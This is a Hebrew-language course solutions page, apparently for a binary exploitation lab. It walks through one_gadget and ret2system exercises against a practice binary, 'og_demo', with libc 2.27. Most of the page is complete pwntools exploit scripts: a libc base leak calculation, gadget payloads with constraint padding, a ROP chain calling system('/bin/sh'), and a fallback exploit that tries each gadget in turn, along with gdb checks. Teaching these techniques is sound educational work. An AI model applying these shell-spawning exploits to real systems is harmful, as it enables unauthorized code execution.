4.5 one gadget וret2system פתרון
פתרון - one_gadget וret2system¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות ו-offset-ים בפלט מתייחסים ל-libc-2.27.so (Ubuntu 18.04) - אצלכם, עם גרסת libc אחרת, הם יהיו שונים. תמיד תריצו one_gadget על ה-libc שלכם ותשלפו את הכתובות מהבינארי שלכם, לעולם אל תעתיקו offset עיוור.
פתרון תרגיל 1 - מיפוי¶
מוצאים את ה-libc שהבינארי טוען:
$ ldd ./og_demo
linux-vdso.so.1 (0x00007fff...)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f...)
מעתיקים אותו לתיקיית העבודה כדי לעבוד מולו, ומריצים one_gadget:
$ cp /lib/x86_64-linux-gnu/libc.so.6 .
$ one_gadget ./libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
ניתוח האילוצים:
0x4f2c5דורשrcx == NULL- אילוץ על אוגר. קשה לספק, כיrcxתלוי במה שקרה קודם.0x4f322דורש[rsp+0x40] == NULL- אילוץ על המחסנית. קל לספק, כי אנחנו כותבים את המחסנית.0x10a38cדורש[rsp+0x70] == NULL- גם על המחסנית, גם נוח.
המסקנה: נתחיל מ-0x4f322 או 0x10a38c כי אילוץ על המחסנית בשליטתנו.
מציאת ה-offset עם cyclic:
from pwn import *
context.binary = ELF('./og_demo')
p = process('./og_demo')
p.recvline() # the leak line
p.recvuntil(b'payload:')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
log.info('offset = %d', cyclic_find(core.read(core.rsp, 8)))
לbuffer 64 + saved rbp 8 יוצא offset = 72. תמיד תמדדו בעצמכם.
זיהוי גרסת libc:
$ strings ./libc.so.6 | grep "GNU C Library"
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
פתרון תרגיל 2 - חישוב בסיס libc¶
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./og_demo')
libc = ELF('./libc.so.6')
p = process('./og_demo')
leak = int(p.recvline().split()[-1], 16) # "puts @ 0x7f..."
libc.address = leak - libc.symbols['puts']
log.success('puts leak = %#x', leak)
log.success('libc base = %#x', libc.address)
פלט לדוגמה (משתנה בכל הרצה בגלל ASLR):
שימו לב ש-libc base תמיד נגמר ב-000 - libc ממופה בגבול עמוד. אם קיבלתם בסיס שלא aligned לעמוד, סימן שהדלף שגוי או שהתאמתם ל-libc הלא נכון. אחרי libc.address = ..., כל קריאה כמו libc.symbols['system'] כבר מחזירה את הכתובת האמיתית בריצה הזו.
פתרון תרגיל 3 - shell עם one_gadget¶
בוחרים את 0x4f322 (אילוץ [rsp+0x40] == NULL), ומספקים את האילוץ על ידי מילוי אפסים אחרי כתובת הגאדג'ט:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./og_demo')
libc = ELF('./libc.so.6')
p = process('./og_demo')
leak = int(p.recvline().split()[-1], 16)
libc.address = leak - libc.symbols['puts']
og = libc.address + 0x4f322 # [rsp+0x40] == NULL
offset = 72
# the zeros after og ensure [rsp+0x40] will be 0
payload = flat({offset: [og, 0, 0, 0, 0, 0, 0, 0, 0, 0]})
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()
הפלט, ואז shell:
איך מוודאים ב-gdb שהאילוץ מסופק? עוצרים על הגאדג'ט ובודקים:
pwndbg> b *0x4f322 + <libc_base>
pwndbg> run
pwndbg> x/gx $rsp+0x40
0x7fffffffe0c0: 0x0000000000000000 <-- zero, the constraint holds
למה זה עבד: אחרי ה-ret שקפץ ל-0x4f322, rsp הצביע על המילה הראשונה שכתבנו אחרי הגאדג'ט. מכיוון שמילאנו הכל באפסים, המילה ב-rsp+0x40 הייתה אפס, אז ה-argv של execve("/bin/sh", argv, ...) היה NULL - חוקי. איך להכליל: אילוץ מסוג [rsp+X] == NULL כמעט תמיד ניתן לסיפוק על ידי padding אפסים, כל עוד rsp+X נופל בתוך אזור שאתם כותבים.
פתרון תרגיל 4 - הכישלון של אילוץ על אוגר¶
בוחרים בכוונה את 0x4f2c5 (דורש rcx == NULL) בלי להכין את rcx:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./og_demo')
libc = ELF('./libc.so.6')
p = process('./og_demo')
leak = int(p.recvline().split()[-1], 16)
libc.address = leak - libc.symbols['puts']
og = libc.address + 0x4f2c5 # requires rcx == NULL - we didn't prepare it!
offset = 72
payload = flat({offset: [og, 0, 0, 0, 0, 0, 0, 0, 0, 0]})
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()
בודקים ב-gdb מה קרה. עוצרים על הגאדג'ט ומסתכלים על rcx:
pwndbg> b *0x4f2c5 + <libc_base>
pwndbg> run
pwndbg> p/x $rcx
$1 = 0x7ffff7dcf8c0 <-- not zero! the constraint is broken
מכיוון ש-rcx לא אפס, כשה-execve נקרא הוא מקבל argv לא חוקי, ו-execve נכשל (מחזיר -1) - ה-shell לא נפתח, ובדרך כלל התוכנית מסתיימת או קורסת מיד אחרי. במקרים אחרים, אם rcx מצביע לזיכרון לא ממופה, נראה קריסה עוד לפני ה-execve.
הפתרון: מאפסים את rcx לפני הקפיצה, אם יש גאדג'ט מתאים ב-libc:
pop_rcx = libc.address + 0x3d1ee
payload = flat({offset: [pop_rcx, 0, og]}) # rcx = 0, then jump to og
למה זה עבד: הוספנו סלוט אחד שמאפס את rcx, וכך סיפקנו את האילוץ. איך להכליל: אילוץ על אוגר דורש גאדג'ט pop <reg> ; ret שיטען לתוכו אפס לפני ה-one_gadget. אם אין גאדג'ט כזה, פשוט עוברים למועמד אחר או ל-ret2system מלא.
פתרון תרגיל 5 - ret2system מלא¶
הדרך האמינה, עם הכתובות המחושבות מהדלף:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./og_demo')
libc = ELF('./libc.so.6')
p = process('./og_demo')
leak = int(p.recvline().split()[-1], 16)
libc.address = leak - libc.symbols['puts']
log.success('libc base = %#x', libc.address)
binsh = next(libc.search(b'/bin/sh\x00')) # the string exists inside libc
system = libc.symbols['system']
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret'])[0]) # aligns the stack to 16 bytes
rop.call(system, [binsh]) # rdi = &"/bin/sh", then system
log.info('\n' + rop.dump())
offset = 72
payload = flat({offset: rop.chain()})
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()
ה-rop.dump() יראה משהו כזה:
0x0000: 0x7f...ret ret
0x0008: 0x7f...pop rdi ; ret pop rdi ; ret
0x0010: 0x7f...binsh arg0 (system)
0x0018: 0x7f...system system
ואז:
השוואה: ה-one_gadget תפס סלוט אחד (ועוד padding אפסים שממילא לא עולה מקום אמיתי), בעוד ה-ret2system תפס ארבעה סלוטים (alignment, pop rdi, כתובת המחרוזת, system). זה בדיוק הטרייד-אוף: one_gadget קצר יותר, ret2system אמין יותר.
למה זה עבד: חישבנו את בסיס libc מהדלף, ומשם את הכתובות של system ושל "/bin/sh" (שקיימת בתוך libc). גאדג'ט ה-ret הבודד יישר את rsp ל-16 בתים כדי ש-movaps בתוך do_system לא יקרוס. איך להכליל: זו ברירת המחדל הבטוחה בכל פעם ש-one_gadget לא משתף פעולה - אתם בונים את כל הפרמטרים בעצמכם, ולא מסתמכים על מצב מקרי.
פתרון תרגיל 6 (אתגר) - "תנסה את כולם" עם fallback¶
אקספלויט חסין שמנסה קודם את הקיצור ונופל לבטוח:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./og_demo')
context.log_level = 'warn' # quiet during the attempts
libc = ELF('./libc.so.6')
ONE_GADGETS = [0x4f322, 0x10a38c, 0x4f2c5] # stack-constrained ones first
OFFSET = 72
def leak_base(p):
leak = int(p.recvline().split()[-1], 16)
libc.address = leak - libc.symbols['puts']
return libc.address
def try_one_gadget(og_off):
p = process('./og_demo')
leak_base(p)
og = libc.address + og_off
p.recvuntil(b'payload:')
p.sendline(flat({OFFSET: [og, 0, 0, 0, 0, 0, 0, 0, 0, 0]}))
p.sendline(b'echo PWNED')
try:
if b'PWNED' in p.recv(timeout=1):
return p
except EOFError:
pass
p.close()
return None
def ret2system():
p = process('./og_demo')
leak_base(p)
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret'])[0])
rop.call(system, [binsh])
p.recvuntil(b'payload:')
p.sendline(flat({OFFSET: rop.chain()}))
return p
# try one_gadget first, then fall back to ret2system
p = None
for og_off in ONE_GADGETS:
p = try_one_gadget(og_off)
if p:
log.success('one_gadget %#x worked!', og_off)
break
if not p:
log.warning('no one_gadget worked, falling back to ret2system')
p = ret2system()
p.interactive()
לגבי הזיהוי מראש (שאלה 3): במקום להמר, פותחים את הבינארי ב-gdb, שמים breakpoint על ה-ret של main (הרגע שלפני הקפיצה), ובודקים ידנית איזה אילוץ כבר מתקיים:
pwndbg> b *main+<offset of the ret>
pwndbg> run
pwndbg> p/x $rcx
pwndbg> x/gx $rsp+0x40
pwndbg> x/gx $rsp+0x70
המועמד שהאילוץ שלו כבר מסופק במצב הזה הוא הבחירה הבטוחה לניסיון הראשון מול השרת. בגלל שהמחסנית שלנו בשליטתנו, לרוב נעדיף את המועמד עם אילוץ [rsp+X] == NULL ונדאג שהסלוט הזה יהיה אפס.
למה זה עבד: בנינו אסטרטגיה שמנסה את הזול (one_gadget, סלוט אחד) לפני היקר (ret2system, ארבעה סלוטים), עם נפילה מבוקרת. איך להכליל: זה דפוס העבודה המקצועי - קודם מנסים את הקיצור, ואם הוא לא אמין, נופלים לשיטה שאתם שולטים בה במלואה. exploit טוב הוא לא רק כזה שעובד פעם אחת, אלא כזה שעובד באמינות.